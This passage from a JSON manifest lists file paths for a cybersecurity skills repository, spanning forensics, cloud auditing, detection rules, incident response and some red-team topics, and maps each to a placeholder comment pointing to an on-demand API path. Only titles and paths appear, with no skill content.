/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-typosquatting-domains-with-dnstwist%2FSKILL.md -->","skills/analyzing-typosquatting-domains-with-dnstwist/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-typosquatting-domains-with-dnstwist%2Freferences%2Fapi-reference.md -->","skills/analyzing-uefi-bootkit-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-uefi-bootkit-persistence%2FSKILL.md -->","skills/analyzing-uefi-bootkit-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-uefi-bootkit-persistence%2Freferences%2Fapi-reference.md -->","skills/analyzing-usb-device-connection-history/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-usb-device-connection-history%2FSKILL.md -->","skills/analyzing-usb-device-connection-history/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-usb-device-connection-history%2Freferences%2Fapi-reference.md -->","skills/analyzing-web-server-logs-for-intrusion/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-web-server-logs-for-intrusion%2FSKILL.md -->","skills/analyzing-web-server-logs-for-intrusion/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-web-server-logs-for-intrusion%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-amcache-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-amcache-artifacts%2FSKILL.md -->","skills/analyzing-windows-amcache-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-amcache-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-event-logs-in-splunk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-event-logs-in-splunk%2FSKILL.md -->","skills/analyzing-windows-event-logs-in-splunk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-event-logs-in-splunk%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-lnk-files-for-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-lnk-files-for-artifacts%2FSKILL.md -->","skills/analyzing-windows-lnk-files-for-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-lnk-files-for-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-prefetch-with-python/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-prefetch-with-python%2FSKILL.md -->","skills/analyzing-windows-prefetch-with-python/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-prefetch-with-python%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-registry-for-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-registry-for-artifacts%2FSKILL.md -->","skills/analyzing-windows-registry-for-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-registry-for-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-shellbag-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2FSKILL.md -->","skills/analyzing-windows-shellbag-artifacts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Fassets%2Ftemplate.md -->","skills/analyzing-windows-shellbag-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-shellbag-artifacts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Freferences%2Fstandards.md -->","skills/analyzing-windows-shellbag-artifacts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Freferences%2Fworkflows.md -->","skills/assessing-vector-and-embedding-weaknesses/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fassessing-vector-and-embedding-weaknesses%2FSKILL.md -->","skills/assessing-vector-and-embedding-weaknesses/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fassessing-vector-and-embedding-weaknesses%2Freferences%2Fapi-reference.md -->","skills/assessing-vector-and-embedding-weaknesses/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fassessing-vector-and-embedding-weaknesses%2Freferences%2Fstandards.md -->","skills/attacking-entra-id-with-roadtools/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-entra-id-with-roadtools%2FSKILL.md -->","skills/attacking-entra-id-with-roadtools/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-entra-id-with-roadtools%2Freferences%2Fapi-reference.md -->","skills/attacking-entra-id-with-roadtools/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-entra-id-with-roadtools%2Freferences%2Fstandards.md -->","skills/attacking-oauth-with-device-code-phishing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-oauth-with-device-code-phishing%2FSKILL.md -->","skills/attacking-oauth-with-device-code-phishing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-oauth-with-device-code-phishing%2Freferences%2Fapi-reference.md -->","skills/attacking-oauth-with-device-code-phishing/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-oauth-with-device-code-phishing%2Freferences%2Fstandards.md -->","skills/auditing-aws-s3-bucket-permissions/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-aws-s3-bucket-permissions%2FSKILL.md -->","skills/auditing-aws-s3-bucket-permissions/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-aws-s3-bucket-permissions%2Freferences%2Fapi-reference.md -->","skills/auditing-azure-active-directory-configuration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-azure-active-directory-configuration%2FSKILL.md -->","skills/auditing-azure-active-directory-configuration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-azure-active-directory-configuration%2Freferences%2Fapi-reference.md -->","skills/auditing-cloud-with-cis-benchmarks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-cloud-with-cis-benchmarks%2FSKILL.md -->","skills/auditing-cloud-with-cis-benchmarks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-cloud-with-cis-benchmarks%2Freferences%2Fapi-reference.md -->","skills/auditing-entra-id-with-aadinternals/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-entra-id-with-aadinternals%2FSKILL.md -->","skills/auditing-entra-id-with-aadinternals/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-entra-id-with-aadinternals%2Freferences%2Fapi-reference.md -->","skills/auditing-entra-id-with-aadinternals/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-entra-id-with-aadinternals%2Freferences%2Fstandards.md -->","skills/auditing-foundry-smart-contract-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2FSKILL.md -->","skills/auditing-foundry-smart-contract-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2Freferences%2Fapi-reference.md -->","skills/auditing-foundry-smart-contract-security/references/secure-deployment-and-keys.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2Freferences%2Fsecure-deployment-and-keys.md -->","skills/auditing-foundry-smart-contract-security/references/vulnerability-checklist.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2Freferences%2Fvulnerability-checklist.md -->","skills/auditing-gcp-iam-permissions/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-gcp-iam-permissions%2FSKILL.md -->","skills/auditing-gcp-iam-permissions/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-gcp-iam-permissions%2Freferences%2Fapi-reference.md -->","skills/auditing-kubernetes-cluster-rbac/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-cluster-rbac%2FSKILL.md -->","skills/auditing-kubernetes-cluster-rbac/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-cluster-rbac%2Freferences%2Fapi-reference.md -->","skills/auditing-kubernetes-rbac-privilege-escalation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-rbac-privilege-escalation%2FSKILL.md -->","skills/auditing-kubernetes-rbac-privilege-escalation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-rbac-privilege-escalation%2Freferences%2Fapi-reference.md -->","skills/auditing-kubernetes-rbac-privilege-escalation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-rbac-privilege-escalation%2Freferences%2Fstandards.md -->","skills/auditing-mcp-servers-for-tool-poisoning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-mcp-servers-for-tool-poisoning%2FSKILL.md -->","skills/auditing-mcp-servers-for-tool-poisoning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-mcp-servers-for-tool-poisoning%2Freferences%2Fapi-reference.md -->","skills/auditing-mcp-servers-for-tool-poisoning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-mcp-servers-for-tool-poisoning%2Freferences%2Fstandards.md -->","skills/auditing-terraform-infrastructure-for-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-terraform-infrastructure-for-security%2FSKILL.md -->","skills/auditing-terraform-infrastructure-for-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-terraform-infrastructure-for-security%2Freferences%2Fapi-reference.md -->","skills/auditing-tls-certificate-transparency-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-tls-certificate-transparency-logs%2FSKILL.md -->","skills/auditing-tls-certificate-transparency-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-tls-certificate-transparency-logs%2Freferences%2Fapi-reference.md -->","skills/auditing-uefi-firmware-with-chipsec/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-uefi-firmware-with-chipsec%2FSKILL.md -->","skills/auditing-uefi-firmware-with-chipsec/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-uefi-firmware-with-chipsec%2Freferences%2Fapi-reference.md -->","skills/auditing-uefi-firmware-with-chipsec/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-uefi-firmware-with-chipsec%2Freferences%2Fstandards.md -->","skills/automating-ioc-enrichment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fautomating-ioc-enrichment%2FSKILL.md -->","skills/automating-ioc-enrichment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fautomating-ioc-enrichment%2Freferences%2Fapi-reference.md -->","skills/benchmarking-kubernetes-with-kube-bench/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbenchmarking-kubernetes-with-kube-bench%2FSKILL.md -->","skills/benchmarking-kubernetes-with-kube-bench/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbenchmarking-kubernetes-with-kube-bench%2Freferences%2Fapi-reference.md -->","skills/benchmarking-kubernetes-with-kube-bench/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbenchmarking-kubernetes-with-kube-bench%2Freferences%2Fstandards.md -->","skills/building-adversary-infrastructure-tracking-system/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-adversary-infrastructure-tracking-system%2FSKILL.md -->","skills/building-adversary-infrastructure-tracking-system/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-adversary-infrastructure-tracking-system%2Freferences%2Fapi-reference.md -->","skills/building-attack-pattern-library-from-cti-reports/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-attack-pattern-library-from-cti-reports%2FSKILL.md -->","skills/building-attack-pattern-library-from-cti-reports/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-attack-pattern-library-from-cti-reports%2Freferences%2Fapi-reference.md -->","skills/building-automated-malware-submission-pipeline/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-automated-malware-submission-pipeline%2FSKILL.md -->","skills/building-automated-malware-submission-pipeline/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-automated-malware-submission-pipeline%2Freferences%2Fapi-reference.md -->","skills/building-c2-infrastructure-with-sliver-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2FSKILL.md -->","skills/building-c2-infrastructure-with-sliver-framework/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Fassets%2Ftemplate.md -->","skills/building-c2-infrastructure-with-sliver-framework/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Freferences%2Fapi-reference.md -->","skills/building-c2-infrastructure-with-sliver-framework/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Freferences%2Fstandards.md -->","skills/building-c2-infrastructure-with-sliver-framework/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Freferences%2Fworkflows.md -->","skills/building-c2-redirector-infrastructure/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-redirector-infrastructure%2FSKILL.md -->","skills/building-c2-redirector-infrastructure/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-redirector-infrastructure%2Freferences%2Fapi-reference.md -->","skills/building-c2-redirector-infrastructure/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-redirector-infrastructure%2Freferences%2Fstandards.md -->","skills/building-cloud-siem-with-sentinel/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-cloud-siem-with-sentinel%2FSKILL.md -->","skills/building-cloud-siem-with-sentinel/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-cloud-siem-with-sentinel%2Freferences%2Fapi-reference.md -->","skills/building-detection-rule-with-splunk-spl/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2FSKILL.md -->","skills/building-detection-rule-with-splunk-spl/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Fassets%2Ftemplate.md -->","skills/building-detection-rule-with-splunk-spl/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Freferences%2Fapi-reference.md -->","skills/building-detection-rule-with-splunk-spl/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Freferences%2Fstandards.md -->","skills/building-detection-rule-with-splunk-spl/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Freferences%2Fworkflows.md -->","skills/building-detection-rules-with-sigma/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rules-with-sigma%2FSKILL.md -->","skills/building-detection-rules-with-sigma/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rules-with-sigma%2Freferences%2Fapi-reference.md -->","skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2FSKILL.md -->","skills/building-devsecops-pipeline-with-gitlab-ci/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Fassets%2Ftemplate.md -->","skills/building-devsecops-pipeline-with-gitlab-ci/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Freferences%2Fapi-reference.md -->","skills/building-devsecops-pipeline-with-gitlab-ci/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Freferences%2Fstandards.md -->","skills/building-devsecops-pipeline-with-gitlab-ci/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Freferences%2Fworkflows.md -->","skills/building-identity-federation-with-saml-azure-ad/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2FSKILL.md -->","skills/building-identity-federation-with-saml-azure-ad/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Fassets%2Ftemplate.md -->","skills/building-identity-federation-with-saml-azure-ad/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Freferences%2Fapi-reference.md -->","skills/building-identity-federation-with-saml-azure-ad/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Freferences%2Fstandards.md -->","skills/building-identity-federation-with-saml-azure-ad/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Freferences%2Fworkflows.md -->","skills/building-identity-governance-lifecycle-process/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-governance-lifecycle-process%2FSKILL.md -->","skills/building-identity-governance-lifecycle-process/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-governance-lifecycle-process%2Freferences%2Fapi-reference.md -->","skills/building-incident-response-dashboard/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-dashboard%2FSKILL.es.md -->","skills/building-incident-response-dashboard/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-dashboard%2FSKILL.md -->","skills/building-incident-response-dashboard/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-dashboard%2Freferences%2Fapi-reference.md -->","skills/building-incident-response-playbook/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-playbook%2FSKILL.md -->","skills/building-incident-response-playbook/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-playbook%2Freferences%2Fapi-reference.md -->","skills/building-incident-timeline-with-timesketch/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2FSKILL.md -->","skills/building-incident-timeline-with-timesketch/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Fassets%2Ftemplate.md -->","skills/building-incident-timeline-with-timesketch/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Freferences%2Fapi-reference.md -->","skills/building-incident-timeline-with-timesketch/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Freferences%2Fstandards.md -->","skills/building-incident-timeline-with-timesketch/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Freferences%2Fworkflows.md -->","skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-defanging-and-sharing-pipeline%2FSKILL.md -->","skills/building-ioc-defanging-and-sharing-pipeline/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-defanging-and-sharing-pipeline%2Freferences%2Fapi-reference.md -->","skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2FSKILL.md -->","skills/building-ioc-enrichment-pipeline-with-opencti/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Fassets%2Ftemplate.md -->","skills/building-ioc-enrichment-pipeline-with-opencti/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Freferences%2Fapi-reference.md -->","skills/building-ioc-enrichment-pipeline-with-opencti/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Freferences%2Fstandards.md -->","skills/building-ioc-enrichment-pipeline-with-opencti/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Freferences%2Fworkflows.md -->","skills/building-malware-incident-communication-template/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2FSKILL.md -->","skills/building-malware-incident-communication-template/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Fassets%2Ftemplate.md -->","skills/building-malware-incident-communication-template/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Freferences%2Fapi-reference.md -->","skills/building-malware-incident-communication-template/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Freferences%2Fstandards.md -->","skills/building-malware-incident-communication-template/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Freferences%2Fworkflows.md -->","skills/building-patch-tuesday-response-process/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2FSKILL.md -->","skills/building-patch-tuesday-response-process/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Fassets%2Ftemplate.md -->","skills/building-patch-tuesday-response-process/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Freferences%2Fapi-reference.md -->","skills/building-patch-tuesday-response-process/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Freferences%2Fstandards.md -->","skills/building-patch-tuesday-response-process/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Freferences%2Fworkflows.md -->","skills/building-phishing-reporting-button-workflow/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2FSKILL.md -->","skills/building-phishing-reporting-button-workflow/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Fassets%2Ftemplate.md -->","skills/building-phishing-reporting-button-workflow/references/api-reference.md":"<!-- Skill available on-demand via 